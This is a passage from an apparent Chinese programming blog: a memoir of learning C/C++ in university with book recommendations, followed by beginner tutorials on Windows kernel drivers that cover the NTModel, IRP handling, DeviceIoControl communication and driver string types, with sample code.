有老师专门来为你制定学习计划,帮你检查学习成功,这个反馈机制比较及时,这个时候你会感觉到自己距离目标有多少差距,路是不是正确的,会根据这个反馈及时调整,而到大学完全不一样,首先没有了目标,大学即使分了专业,那个专业的就业范围也比较广,而且很多人还从事与所学专业无关的事,没有了目标就不知道往哪个方向努力;另外一点就是即使有了方向,也没有及时的反馈给你,告诉你达成这个目标需要哪些技术,你已经掌握了哪些,还需要哪些,掌握的是不是掌握的很好,需不需要再加强,那个时候我感觉我自己就是不知道学哪些东西,我把关于C++的东西几乎都找到了,每个都想学,但是结果就是什么都没学好,另外就是自己本来基础不好,但是我总感觉知道了那些什么封装,继承,多态我好像就把C++的基础都学会了。没了目标,没有与目标相关的反馈机制,这样再努力也是白搭,这个是我真实的体会。最近我跟一些同学聚会聊天的时候谈论到大学的时候,我跟他们说我的大二是废掉的一年,他们都笑笑说:“你是学霸,经常看到你在那看视频学习,而我们在打游戏,如果你的大二是废掉的,那我们的算什么”,我很认真的跟他们说,那个时候我虽然在看视频,但是真真没有学到多少东西,其实也跟你们打游戏差不多。这个不是谦虚,这个是真实的状态。大三——突飞猛进总结我的整个大学生活,我感觉大三是最有意义的,最累的也是这个大三。在大三我有了志同道合的朋友,有了很好的老师引导,成长当然也是最快的。在大三,学校为了就业率好看,基本上引进了三个培训班,一个是学校老师自己带的C++班,一个是外面的Java,还有一个是安卓的(后来的同学都说那个安卓的是个坑,这是后话)。一般到了大三学生不是报了考研辅导班就是报了这种培训班。当初这个班学费是5500,这个时候我遇到了我的一位人生导师——我们培训班的老师,我们称他老吴,老吴是我们学校关于C/C++最权威的人,我在大二的时候知道有这么一个班,这个班是面向大二大三招生的,那个时候据说只收基础好的学生,我当时怂了一波没有去报名,我有的时候在想,如果当时我在大二的时候报名学下C++然后大三学学操作系统,网络,并结合他们写点程序啥的是不是现在就走向人生巅峰了,但是没有如果。整个大三加上大四的一直到11月份,我都是在老吴的手下学习,那个时候他带着我们从0开始,每周的周一到周五晚上两个小时,周六一天。那个时候基本上为了完成作业天天晚上写代码写到12点以后,而且那个时候我开了这个博客,有的时候也在更新自己的博客,所以基本上学到很晚,但是这种感觉很棒,感觉自己每天都在进步,每天都掌握了新的内容,从基本的语句到函数到指针,再到复杂的函数实现原理,变量的作用域,函数指针,指针函数,数组指针,指针数据,函数传参,不定参数等等,那个时候我把之前自己理解不了的,或者比较模糊的东西基本上都弄清楚了,我感觉自己现在的状态就想某些修真小说里面说的,吐出一口浊气,然后整个眼睛都是雪亮的,没有一丝阴影。在上半年我把整个C的语法部分都学完了,那年的寒假特别长,那个时候有两个月的寒假,所以放假前老吴提示我们回去好好看看汇编,学习汇编对于掌握C语言很有帮助,并且说元旦来了会给汇编的资料,而那个时候我归家心切,找我的另一位人生导师——在这我就称他为林同学,我找林同学要了本关于汇编的书——王爽老师的《汇编语言》,我不知道当初放假前老吴会给什么资料,他会要求我们学到什么程度,但是这个寒假我乖乖把那本书从头到尾看了一遍,把书上的每一个例子都敲了一遍,然后一个个的进行调试,有的时候我经常想如果当初我把老吴的资料拿回去,根据他的要求学(我总是这样,很多时候一遍老师说不需要特别关心的地方我都不会管,不知道这个是不是一个好习惯),会不会有现在的基础(抱歉我总是喜欢假设如果我不这么做会怎样,可能这个就像有的星座的文章上面讲的,双鱼座天生就拿不定主意喜欢胡思乱想吧,有的时候我能脑补好久)。关于这本书对我的影响下面呢还会再说。下半年主要是学习windows编程,从基本的win32窗口程序开始,一步步学习怎么写带主窗口的程序,消息循环,窗口类,窗口,窗口类的回调函数,GDI,基于对话框的程序等等关于界面方面的东西,并带着我们实现了一个仿照MFC的带有消息映射宏的一个纯C的界面库,这个库没有什么特别的牛的功能,就是简单的把窗口的创建,显式以及消息处理函数用宏的方式写了一个映射,这些东西基本上把我之前不了解的MFC的消息映射基本上搞清楚了。接着就是windows上提供的一些与操作系统相关的操作,比如线程,进程的创建,HOOK,DLL,数据库编程,socket编程以及windows上的5大网络模型,通过这些东西我基本上把之前学的操作系统,网络原理,数据库等东西又复习的一遍。之前我一直不理解这些计算机的理论是怎么运用到实践中,通过这些学习,我知道了这些理论是如何被写成接口并给程序调用。暑假的时候我们是没有回家而是接着在培训班里面学习,这个阶段主要是学习C++一些语法,之前在学习C的时候老吴带着我们用C写了一个通用链表,这个链表用统一的代码来实现链表的基本算法,比如遍历,插入,删除,查找,等等,但是对于具体节点的读写操作而是提供了一组统一的函数接口,这些读写函数由具体的数据结构提供者来提供,节点的头四个字节是这个函数数组的首地址,通过强制转化的方式来组成链表,而在需要时通过这头四个字节来调用读写函数,当时他跟我们说的是理解了这些,C++就没有什么问题,当时没太注意,在学习C++的时候我才体会到当时老吴的用心良苦,确实当初写的这些就是模拟C++的虚函数表,而那头四个字节就是C++里边的虚函数指针啊,通过之前的铺垫,我很容易就理解了C++中的多态。另外根据这些特性结合当时学的Windows编程,老吴又带着我们写了一个模仿MFC的库,这次用C++实现,基本上实现了MFC中几大要素:动态类型识别,消息映射等等。至此对于MFC的认识又进了一步。大四——离别前夕大四按照学校的惯例,差不多在每年的11月份就可以离校了,离校前似乎其他同学的心情都挺愉快的,培训班的课基本上都结束了,现在我跟同学差不多就是见一次少一次了,我当时的心情有些沉重,想想一起相处四年的兄弟们就要分离了,有的可能一辈子再也见不到了,总有一丝伤感,心里总是不愿意分离,这段时间总是胡思乱想,不知道以后找工作是否顺利,那些我前面出去的同学不知道怎么样了,总之那段时间我基本上放弃了学习,有时间就找还在学校的同学打打游戏,聊聊天,一起吃个饭啥的,我是本着能多说一句话就多说一句,能多在一起待会就多待会。晚上躺在床上我总是回忆起当初在一起的点点滴滴,思考未来会怎么样,总之那段时间我内心是复杂的,既担心以后该怎么混,也不想就这样离开,那段时间我把回家的时间往后一推再推,但不管怎么往后推,离别的时刻总会来临。说说我当初看过一些书下面我把我之前看过的书从头到尾梳理一遍,毕竟读书也是大学生活的一部分。其实我挺喜欢读书的,平时没有别的爱好,也没啥特长,从小学开始我基本上是靠着书打发时间,从小学的漫画,到中学时候的小说,再到大学时候在图书馆借各种各样的书。《黑客与画家》我非常喜欢这本书,它告诉了我程序员的伟大之处,既然以后是信息化时代,那么做程序员的前景应该还不错。那本书里面将程序员和画家进行类比,里面说好的程序是艺术品而好的程序员是艺术家,我感觉说的挺有道理,所以现在我自认为是一个手工艺人(虽说自己做出来的就是粗制滥造的东西),有一次我的一位朋友跟我说:“你的手又细又长,跟女孩子的手一样”,我跟他开玩笑说,我们程序员是靠手吃饭的是手艺人,手不好看能行吗。后来我发现我的同学或者同事基本上都跟我差不多,都有一双不错的手,不知道是不是真的证明我们程序员是靠手吃饭的(手动滑稽)《疯狂的程序员》这本书主要记录了一个程序员从大学到工作的日子,算是作者的回忆录,之前我百度过这本书的作者,好像说是因为写DNF的外挂被抓了,也不知道是不是真的。我非常喜欢这本书,当时我看的是电子版,后来毕业之后我在淘宝上找到了纸质版,并把它买了下来。书中的主人公绝影是一个对技术比较狂热的程序员,经常为了写程序熬夜,里面没有多好深奥的技术,只有一些简单朴实的话语,同时包含了作者对现实世界的理解,我觉得他里面写的关于资本家对员工的压迫和当前相亲时男方看中女生的相貌,女生着重关注男方的资产这块的分析很有意思,在一定程度上代表了作者对这个世界的思考。但是真正让我着迷的还是里面经常出现的,为了一个技术难题,绝影和BOOS Liu两个通宵加班的场景,每次看到这部分我总是热血沸腾,恨不得给还躺在床上的自己一巴掌(滑稽脸),或许是这本书奠定了我现在的想法——要做就做那些难度大的,没人愿意做的;所以现在我基本上是一条路走到黑,坚持自己的底层之路。另外这本书的副标题很有意思叫程序员版的奋斗,里面确实讲述了一个程序员的奋斗历史。《汇编语言》这本书和下面我要说的一本书对我影响最大,是我为数不多的认真看了两遍以上的技术书籍,这本书最大的价值是前面讲的内存、寄存器、CPU的相关知识,以及后面的寻址方式,函数调用等等,而至于中断宏汇编什么的就不那么重要了,前面的都掌握了之后,可以看看后面的几个深入讨论的部分,那部分是关于C与汇编的,我觉得那些是这本书的重点,当初在看这本书的时候是下足了功夫,我把书上的每个例子都敲进电脑,编译运行,调试。给我影响最深的是3个程序,一个是关于读写一个保存了学生数据的结构体数组的,这个程序用一个寄存器保存数组的首地址,每个数组成员的地址用另外一个寄存器,另外还需要计算每个成员在结构体中的偏移地址,这个例子解决了,我基本上对C中的数组和结构体的寻址有了很深的理解。另外一个是关于函数调用的,当时我写的这个程序最大的问题是少出栈了一个寄存器,结果导致在调用ret时候返回到了错误的地址,结果程序崩溃了,通过这个例子,我终于理解到了程序中引入ebp寄存器的作用,不管你是不是出栈错了,只要运行mov esp, ebp后再直接返回总能返回正确的地址,总之汇编是学习C语言迈步过去的一道坎《VC++反汇编与逆向技术解密》这本是钱松林老师的一本书,在看雪论坛上还有专门的板块讨论它,我当时跟朋友聊天的时候戏称为小黄书,这本小黄书通过汇编的方式详细介绍了VC++语言各个特性具体的实现细节,通过这本书可以很好的理解C/C++,这本书配合之前说的汇编可以很好的理解C/C++。如果不想从事逆向分析,那主要看从第二章到最后的结构化异常处理就好(我是只看了这些)至于后面的例子,不从事这方面可以不用管它其他好书后面要说的书有不少,而且很多我只是简单看了一遍,理解并不深厚,不向上面的那些,有自己的理解,或者夹杂了一些自己有趣的回忆,所以就简单的说说。《windows程序设计》与《win32汇编语言程序设计》我觉得这两本书很详细的讲解了windows应用层的开发,但是需要互相补充,Win32汇编这本书更偏向于底层,比如后面讲的SEH,和PE文件结构,另外这本书前面讲的32位的保护模式,函数的调用约定都很经典,可以看看,然后结合汇编码分析一下,可以更好的理解windows上的开发。我在读Win32汇编这本书的时候就觉得微软的宏汇编真的做的很出色,在使用时就好像是在用C语言,特别是在函数调用这块,既不需要我们考虑参数的压栈和出栈,也不需要进行栈平衡,另外如果你的汇编基础比较好可以考虑将这本书里面的汇编代码改写为C代码。《windows核心编程》这本书是进行windows高级开发必读的经典,这个没什么好说的《windows网络编程》我之前一直以为这本书是老外写得,最后发现原来是国人写的,搞的我之前以为自己买的是盗版,这本书详细介绍了网络方面的编程,其实不光是网络,比如串口通信,管道通信。《现代操作系统》这本书可以结合之前的那本核心编程一起看,主要看看操作系统提供的功能在windows上怎么样实现的,以达到理论结合实际的效果。对于理解这两本书都有好处《VC++深入详解》之前提到过的书,我之前看不懂这本书,并不是书的问题,而是我自己基础的问题,MFC库文件微软都给了,结合之前说的《windows程序设计》关于界面的知识,这本书就不再是问题。《TCP/IP详解》这个主要讲的网络原理的,一般是有两本,卷一和卷二,这个结合之前的windows网络编程一起,主要也是达到理论结合实践的目的。还有一些内核的书比如《寒江独钓 Windows 安全编程》,这个是我目前在研究的书,我自己觉得还不错,可以看看。至于Linux方面的,我没有怎么接触,只能推荐一些大家都觉得好的比如《鸟哥的Linux私房菜》和《Unix核心编程》。写在最后的话其实总结自己的大学的生活,我还是觉得大三过的是最充实的。我得出一个结论人真的需要一个目标,而有了目标之后,有一个引路人也是十分重要的,而我自己的引路人一个是上面说的老吴,一个是林同学。我觉得老吴可能并没有交给我许多知识,而且也没有讲完当初传单上面的知识,很多由于时间关系都略过了,但是我仍然觉得值,主要是因为他教给了我学习的方法,给我指出了一个C++程序员应该走的路。老话说的好:“师傅领进门,修行在个人”,确实是这样啊!!!
2016年10月23日
9 阅读
0 评论
0 点赞
2016-10-07
驱动开发入门——NTModel
上一篇博文中主要说明了驱动开发中基本的数据类型,认识这些数据类型算是驱动开发中的入门吧,这次主要说明驱动开发中最基本的模型——NTModel。介绍这个模型首先要了解R3层是如何通过应用层API进入到内核,内核又是如何将信息返回给R3,另外会介绍R3是如何直接向R0层下命令。API调用的基本流程一般在某些平台上进行程序开发,都需要使用系统提供的统一接口,linux平台直接提供系统调用,而windows上提供API,这两个并不是同一个概念(之前我一直分不清楚),虽然它们都是系统提供的实现某种功能的接口,但是它们有着本质的区别,系统调用在调用时会陷入到内核态,而API则不是这样,例如对于CreateFile这个我们不能说它是一个系统调用,在这个函数中并没有立即陷入到内核态,而是先进行参数检查,然后通过其他的一系列操作之后调用系统调用而进入到内核,所以它并不是系统调用。windows在应用层提供了3个重要的动态库,分别是kernel.dll uer32.dll gdi.dll (现在基本上将所有的API都封装到kernell.dll中)当用户程序调用一个API函数时,在这个API内部会调用用封装到ntdll.dll中以Zw或者Nt开头的同名函数,这些函数主要负责从用户态切换到内核态,这些函数叫做Native API,Native API进入到内核的方式是产生一个中断(XP及以前的版本)和调用sysenter(XP以上的版本),Native API在进入到内核中时会带上一个服务号,系统根据这个服务号在SSDT表中查找到相关的服务函数,最后调用这些服务函数完成相关功能,这个过程可以用下面的图来说明:下面以CreateFile为例说明具体的调用过程:应用层调用CreateFile函数这个函数实际上被封装到了kernel32.dll中,在这个函数中调用NtCreateFile,这就是调用ntdll.dll中的native api ,ntdll.dll中一般又两组函数——以Nt开头,以Zw开头的,这两组函数本身没有什么太大的区别。native api中通过中断 int 2eh(windows 2000 及以下),或者通过sysenter指令(windows xp及以上)进入内核,这种方式称为软中断,在产生中断时会带上一个服务号,根据服务号在ssdt表中以服务号进行查找(类似与8086中的中断机制)根据SSDT表中记录的服务函数地址,调用相关的服务函数。然后进入到执行组件中,对于CreateFile的操作,这个时候会调用IO管理器,IO管理器负责发起IO操作请求,并管理这些请求,主要时生成一个IRP结构,系统中有不同的管理器,主要有这样几个——虚拟内存管理器,IO管理器,对象管理器,进程管理器,线程管理器,配置管理器。管理器生成一个IRP请求,并调用内核中的驱动,来相应这个操作,对于CreateFile来说会调用NtCreateFile函数。最后调用内核实现部分,也就是硬件抽象层。最后由硬件抽象层操作硬件,完成打开或者创建文件的操作。NTModel详解R3与R0互相通信在驱动程序中,入口是DriverEntry,函数会带入一个DriverObject指针。这个对象中有许多回调函数,它会根据R3层下发的操作调用对应的回调函数,比如应用层调用CreatFile时在驱动层会调用DispatchCreate。这样我们只要写好DispatchCreate就可以处理由R3层下发的CreateFile命令。上述的一些函数只适用于一般的操作,对于一些特殊的,比如R3层要R0层产生一个输出语句等等,这个特殊的操作是通过DeviceIoControl向R0下发一个控制命令,在R0层根据这个控制码来识别具体是哪种控制,需要R0做哪种操作,函数原型如下:BOOL DeviceIoControl( HANDLE hDevice, //驱动的设备对象句柄 DWORD dwIoControlCode, //控制码 LPVOID lpInBuffer, //发往R0层的数据 DWORD nInBufferSize, //数据大小 LPVOID lpOutBuffer, //提供一个缓冲区,接受R0返回的数据 DWORD nOutBufferSize, //缓冲区的大小 LPDWORD lpBytesReturned, //R0实际返回数据的大小 LPOVERLAPPED lpOverlapped //完成例程 );IRP的简介R3与R0的通信是通过IRP进行数据的交换,IRP的定义如下:typedef struct DECLSPEC_ALIGN(MEMORY_ALLOCATION_ALIGNMENT) _IRP { CSHORT Type; USHORT Size; PMDL MdlAddress; ULONG Flags; union { struct _IRP *MasterIrp; PVOID SystemBuffer; } AssociatedIrp; ... IO_STATUS_BLOCK IoStatus; CHAR StackCount; CHAR CurrentLocation; ... PVOID UserBuffer; ... struct { union { struct _IO_STACK_LOCATION *CurrentStackLocation; ... }; } IRP;IRP主要分为两部分,一部分是头,另一部分是IRP栈,在上一篇分析驱动中的数据结构时,说过驱动设备时分层的,上层驱动设备完成后,需要发到下层驱动设备,所有驱动设备公用IRP的栈顶,但是每个驱动都各自有自己的IRP栈,它们的关系如下如所示:_IO_STACK_LOCATION 的结构如下:typedef struct _IO_STACK_LOCATION { UCHAR MajorFunction; UCHAR MinorFunction; UCHAR Flags; UCHAR Control; union { struct { PIO_SECURITY_CONTEXT SecurityContext; ULONG Options; USHORT POINTER_ALIGNMENT FileAttributes; USHORT ShareAccess; ULONG POINTER_ALIGNMENT EaLength; } Create; ... struct { ULONG Length; ULONG POINTER_ALIGNMENT Key; LARGE_INTEGER ByteOffset; } Read; struct { ULONG Length; ULONG POINTER_ALIGNMENT Key; LARGE_INTEGER ByteOffset; } Write; ... struct { ULONG OutputBufferLength; ULONG POINTER_ALIGNMENT InputBufferLength; ULONG POINTER_ALIGNMENT IoControlCode; PVOID Type3InputBuffer; } DeviceIoControl; ... struct { PVOID Argument1; PVOID Argument2; PVOID Argument3; PVOID Argument4; } Others; } Parameters; PDEVICE_OBJECT DeviceObject; PFILE_OBJECT FileObject; PIO_COMPLETION_ROUTINE CompletionRoutine; PVOID Context; } IO_STACK_LOCATION, *PIO_STACK_LOCATION;这个结构中有一个共用体,当处理不同的R3层请求时系统会填充对应的共用体。源代码分析//设备名 #define DEVICE_NAME L"\\device\\NtDevice" #define LINK_NAME L"\\??\\NtDevice" //DriverEntry NTSTATUS DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pRegisterPath) { PDEVICE_OBJECT pDeviceObject = NULL; UNICODE_STRING uDeviceName = { 0 }; UNICODE_STRING uLinkName = { 0 }; NTSTATUS status = 0; UNREFERENCED_PARAMETER(pRegisterPath); DbgPrint("Start Driver......\n"); pDriverObject->DriverUnload = UnloadDriver; //创建设备对象 RtlInitUnicodeString(&uDeviceName, DEVICE_NAME); status = IoCreateDevice(pDriverObject, 0, &uDeviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &pDeviceObject); if (!NT_SUCCESS(status)) { DbgPrint("create device error!\n"); return status; } pDeviceObject->Flags |= DO_BUFFERED_IO; //创建符号连接 RtlInitUnicodeString(&uLinkName, LINK_NAME); status = IoCreateSymbolicLink(&uLinkName, &uDeviceName); if (!NT_SUCCESS(status)) { DbgPrint("create link name error!\n"); return status; } //注册分发函数 for (ULONG i = 0; i < IRP_MJ_MAXIMUM_FUNCTION + 1; i++) { pDriverObject->MajorFunction[i] = IoDispatchCommon; } pDriverObject->MajorFunction[IRP_MJ_CREATE] = IoDispatchCreate; pDriverObject->MajorFunction[IRP_MJ_READ] = IoDispatchRead; pDriverObject->MajorFunction[IRP_MJ_WRITE] = IoDispatchWrite; pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = IoDispatchControl; pDriverObject->MajorFunction[IRP_MJ_CLOSE] = IoDispatchClose; pDriverObject->MajorFunction[IRP_MJ_CLEANUP] = IoDispatchClean; return STATUS_SUCCESS; }这个函数是驱动的入口函数,类似与main函数或者WinMain函数。在该函数中首先创建一个控制设备对象,并为它创建一个符号链接,因为R3层不能直接通过设备的名称来访问设备,必须通过其符号链接。需要注意,设备名称必须以“\\device”开头,而符号链接需要以“\\??”开头,否则创建设备和符号链接会失败。然后为这个驱动程序注册分发函数,分发函数保存在DriverObject结构中MajorFunction中,这个时一个数组,元素个数为IRP_MJ_MAXIMUM_FUNCTION,系统为每个位置定义一个宏,我们根据这个宏,在数据中填入对应 的函数指针,系统会根据R3层的操作来调用具体的函数。另外DriverObject中的DriverUnload 保存的是卸载驱动时系统回调用的函数,在这个函数中主要完成资源的释放工作//UnloadDriver VOID UnloadDriver(PDRIVER_OBJECT pDriverObject) { UNICODE_STRING uLinkName = { 0 }; UNREFERENCED_PARAMETER(pDriverObject); RtlInitUnicodeString(&uLinkName, LINK_NAME); IoDeleteSymbolicLink(&uLinkName); IoDeleteDevice(pDriverObject->DeviceObject); DbgPrint("Unload Driver......\n"); }在这个函数中主要释放了之前创建的符号链接和控制设备对象。NTSTATUS IoDispatchCommon(PDEVICE_OBJECT DeviceObject, PIRP pIrp) { UNREFERENCED_PARAMETER(DeviceObject); //向R3返回成功 pIrp->IoStatus.Status = STATUS_SUCCESS; //向R3返回的数据长度为0,不向R3返回数据 pIrp->IoStatus.Information = 0; //默认直接返回 IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS; }这个函数是我们注册的默认处理函数,它每步的操作在注释中也写了,需要注意的是在pIrp->IoStatus.Status = STATUS_SUCCESS;语句是向R3返回执行的状态,而最后返回成功是给驱动程序看的。//IoDispatchRead NTSTATUS IoDispatchRead(PDEVICE_OBJECT DeviceObject, PIRP pIrp) { //处理R3层的读命令,将数据返回给R3层 WCHAR wHello[] = L"hello world"; ULONG uReadLength = 0; WCHAR *pBuffer = pIrp->AssociatedIrp.SystemBuffer; ULONG uBufferLen = 0; ULONG uMin = 0; PIO_STACK_LOCATION pCurrStack = IoGetCurrentIrpStackLocation(pIrp); UNREFERENCED_PARAMETER(DeviceObject); uBufferLen = pCurrStack->Parameters.Read.Length; uReadLength = sizeof(wHello); uMin = (uReadLength < uBufferLen) ? uReadLength : uBufferLen; RtlCopyMemory(pBuffer, wHello, uMin); pIrp->IoStatus.Status = STATUS_SUCCESS; pIrp->IoStatus.Information = uMin; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS; }这个函数主要用来处理应用层的ReadFile请求,这个函数主要是将一段字符串拷贝到通信用的缓冲区中,模拟读的操作。,需要注意的是这个地址要根据不同的设备类型来不同的对待,对于DO_BUFFERED_IO类型的设备,是保存在pIrp->AssociatedIrp.SystemBuffer中,对于DO_DIRECT_IO类型的设备,这个缓冲区的地址是MdlAddress。而对于ReadFile这个API来说,应用层在调用这个函数时会给一个缓冲区的大小,为了获取这个大小,首先得到当前的IRP栈,这个操作用函数IoGetCurrentIrpStackLocation可以得到,然后在当前栈的Parameters共用体中,调用Read部分的Length。当得到这个缓冲区大小后,取缓冲区大小和对应字符串的大小的最小值,为什么要这样做?我们不妨考虑如果用缓冲区的长度的话,当这个长度比字符串的长度长,那么在拷贝时就会将字符串后面的一些无用内存给拷贝进去了,一来效率不高,二来这样应用层得到了内核层中内存的部分数据,存在安全隐患,如果我们采用字符串的长度,可能会出现用户提供的缓冲区不够的情况,这样会造成越界。所以采用它们的最小值是最合理的。完成之后返回,这个时候要注意返回的长度这一项需要填上真实拷贝的大小,不然R3是得不到数据的,或者得到的数据不完整。NTSTATUS IoDispatchWrite(PDEVICE_OBJECT DeviceObject, PIRP pIrp) { //接受R3的写命令 UNICODE_STRING uWriteString = { 0 }; WCHAR *pBuffer = NULL; ULONG uWriteLength = 0; PIO_STACK_LOCATION pStackIrp = IoGetCurrentIrpStackLocation(pIrp); UNREFERENCED_PARAMETER(DeviceObject); uWriteLength = pStackIrp->Parameters.Write.Length; uWriteString.MaximumLength = uWriteLength; uWriteString.Length = uWriteLength - 1 * sizeof(WCHAR); uWriteString.Buffer = ExAllocatePoolWithTag(PagedPool, uWriteLength, 'TSET'); pBuffer = pIrp->AssociatedIrp.SystemBuffer; if (NULL == uWriteString.Buffer) { DbgPrint("Allocate Memory Error!\n"); pIrp->IoStatus.Status = STATUS_INSUFFICIENT_RESOURCES; pIrp->IoStatus.Information = 0; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_INSUFFICIENT_RESOURCES; } RtlCopyMemory(uWriteString.Buffer, pBuffer, uWriteLength); DbgPrint("Write Date: %wZ\n", &uWriteString); pIrp->IoStatus.Status = STATUS_SUCCESS; pIrp->IoStatus.Information = 0; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS; }这个函数用来处理WriteFile的请求,首先通过IRP中传进来的缓冲区的地址得到这个数据,然后将数据打印出来,通过这种方式来模拟向R3文件中写入数据。//定义的控制码 #define IOCTL_BASE 0x800 #define MYIOCTRL_CODE(i) CTL_CODE(FILE_DEVICE_UNKNOWN, (IOCTL_BASE + i), METHOD_BUFFERED, FILE_ANY_ACCESS) #define CTL_PRINT MYIOCTRL_CODE(1) #define CTL_HELLO MYIOCTRL_CODE(2) #define CTL_BYE MYIOCTRL_CODE(3) //IoDispatchControl函数 NTSTATUS IoDispatchControl(PDEVICE_OBJECT DeviceObject, PIRP pIrp) { UNREFERENCED_PARAMETER(DeviceObject); ULONG uBufferLength = 0; WCHAR *pBuffer = NULL; ULONG uIOCtrlCode = 0; PIO_STACK_LOCATION pStack = IoGetCurrentIrpStackLocation(pIrp); uBufferLength = pStack->Parameters.DeviceIoControl.InputBufferLength; uIOCtrlCode = pStack->Parameters.DeviceIoControl.IoControlCode; pBuffer = pIrp->AssociatedIrp.SystemBuffer; switch (uIOCtrlCode) { case CTL_BYE: DbgPrint("Good Bye"); break; case CTL_HELLO: DbgPrint("Hello World\n"); break; case CTL_PRINT: DbgPrint("%S", pBuffer); break; default: DbgPrint("unknow command\n"); } pIrp->IoStatus.Information = 0; pIrp->IoStatus.Status = STATUS_SUCCESS; IoCompleteRequest(pIrp, IO_NO_INCREMENT); return STATUS_SUCCESS; }这个宏CTL_CODE是微软官方定义的,主要用来将控制码和对应类型的设备进行绑定,主要传入4个参数,第一个是设备的类型,第二个是具体的控制码,需要注意的是:为了与微软官方的控制码区分,自定义的控制码需要在0x800以上。第三个参数是对应控制码传递参数的方式,主要的几种方式与设备对象和R3层传递数据的方式类似,我们在这传入的是METHOD_BUFFERED,表示的是通过内存拷贝的方式将R3的数据传入到R0。最后一个是操作权限,我们给它所有的权限。在函数中我们根据R3传入的控制码来进行不同的操作。R3部分的代码R3部分主要完成的是驱动程序的加载、卸载、以及向驱动程序发送命令。驱动的加载和卸载是通过注册并启动服务和关闭并删除服务的方式进行的,至于怎么操作一个服务,请看本人另外一篇关于服务操作的博客。需要注意的是在创建服务时需要填入服务程序所在的路径,这个时候需要填生成的.sys文件的路径,不要写之前定义的设备名或者符号链接名。在这主要贴出控制部分的代码://打开设备,获取它的设备句柄 HANDLE hDevice = CreateFileA("\\\\.\\NtDevice", GENERIC_WRITE | GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (NULL == hDevice) { printf("打开设备失败\n"); return; } //读 CHAR szBuf[255] = ""; ULONG uLength = 0; ReadFile(hDevice, szBuf, 255, &uLength, NULL); printf("Read Date:%s\n", szBuf); //写 WCHAR wHello[] = L"Hello world"; WriteFile(hDevice, wHello, (wcslen(wHello) + 1) * sizeof(WCHAR), &uLength, NULL); printf("写操作完成"); //向其发送控制命令 WCHAR wCtlString[] = L"C:\\test.txt"; DeviceIoControl(hDevice, CTL_PRINT, wCtlString, (wcslen(wCtlString) + 1) * sizeof(WCHAR), NULL, 0, NULL, NULL); DeviceIoControl(hDevice, CTL_HELLO, NULL, 0, NULL, 0, NULL, NULL); DeviceIoControl(hDevice, CTL_BYE, NULL, 0, NULL, 0, NULL, NULL); printf("控制操作完成"); CloseHandle(hDevice);要控制一个设备对象,必须先得到设备对象的句柄,获得这个句柄,我们是通过函数CreateFile来得到的,这个时候填入的文件名应该是之前注册的符号链接的名字,在R3中这个名字以“\\\\ .”开头并加上我们为它提供的符号链接名。在调用CreateFile时会触发之前定义的DispatchCreate函数。然后我们通过调用ReadFile和WriteFile分别触发读写操作,最后调用DeviceIoControl函数,发送控制命令,在R3层中也要定义一份与R0中一模一样的控制码。这样就基本实现了R3与R0通信。有的时候在加载驱动的时候,系统会报错,返回码为2,表示系统找不到驱动对应的文件,这个时候可能是文件的路径的问题,这个时候可以在系统的注册表HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\下,找到我们的驱动(还有可能是在ControlSet002)对应的路径,然后将R3程序拷贝到这个路径下,基本就可以解决这个问题
2016年10月07日
11 阅读
0 评论
0 点赞
2016-09-24
windows 驱动开发入门——驱动中的数据结构
最近在学习驱动编程方面的内容,在这将自己的一些心得分享出来,供大家参考,与大家共同进步,本人学习驱动主要是通过两本书——《独钓寒江 windows安全编程》 和 《windows驱动开发技术详解》。驱动开发过程中,主要使用的C语言,虽说C中定义了许多数据类型,但是一般来说在编码上还是习惯与使用WDK的规范,虽说这个不是必须的,比如有这样一句unsigned long ul = 0;这个数据的大小根据不同的机器不同的编译器环境略有不同,这样代码就产生了不可控的行为,但是WDK上专门定义了相关的宏,环境不同,只需要修改一下宏定义,这样就避免了这个问题。在这列举一些常用的数据类型,以免以后在编写代码或者查看例子代码时犯迷糊:普通数据类型#define ULONG unsigned long #define UCHAR unsigned char #define UINT unsigned int #define VOID void #define PULONG unsigned * #define PUCHAR unsigned char* #define PUINT unsigned int* #define PVOID void* 字符串类型在驱动的编程中,为字符串操作专门定义了一个数据类型UNICODE_STRING ANSI_STRING,他们的定义大致相同,只是一个是表示UNICODE字符串,一个表示ANSI字符串,下面主要来说明一下UNICODE_STRINGtypedef struct _UNICODE_STRING { USHORT Length; // 字符串的中字符所占的内存大小 USHORT MaximumLength;//用来存储字符串缓冲的大小 PWCHAR Buffer;//缓冲的地址 } UNICODE_STRING;这个结构体在使用是需要注意的是上述两个大小单位是字节数而不是字符个数,另外在操作UNICODE_STRING 的时候只是简单的操作Buffer指向的内存,并不会特意的为其分配另外的空间,字符串处理函数主要有这样几个:RtlInitUnicodeString(&uStr1, str1); RtlCopyUnicodeString(&uStr1, &uStr2); RtlAppendUnicodeToString(&uStr1, str1); RtlAppendUnicodeStringToString(&uStr1, &uStr2); RtlCompareUnicodeString(&uStr1, &uStr2, TRUE/FALSE); RtlAnsiStringToUnicodeString(&uStr1, &aStr1, TRUE/FALSE); RtlFreeUnicodeString(&uStr1);这些函数从字面上就可以知道它们是干什么用的,需要注意的是,除了Init,这些函数只是简单的操作Buffer已指向的内存,并不会改变指针的指向。所以在使用时要特别注意不要试图改变静态常量区的内容,也要特别注意指向的内存是在栈中还是在堆中。下面是一个简单的例子: UNICODE_STRING uStr1 = { 0 }; UNICODE_STRING uStr2 = { 0 }; UNICODE_STRING uStr3 = { 0 }; ANSI_STRING aStr = { 0 }; RtlInitUnicodeString(&uStr1, L"Hello"); RtlInitUnicodeString(&uStr2, L"Goodbye"); //打印字符串结构用%Z表示%wZ表示是宽字符 DbgPrint("uStr1 = %wZ\n", &uStr1); DbgPrint("uStr2 = %wZ\n", &uStr2); RtlInitAnsiString(&aStr, "Hello World"); DbgPrint("aStr = %Z\n", &aStr); /*这个操作是由于uStr3中的Buffer指向NULL,所以会失败*/ RtlCopyUnicodeString(&uStr3, &uStr1); DbgPrint("uStr3 = %wZ\n", &uStr3); //失败 /*下面两个失败是由于Str1 Str2 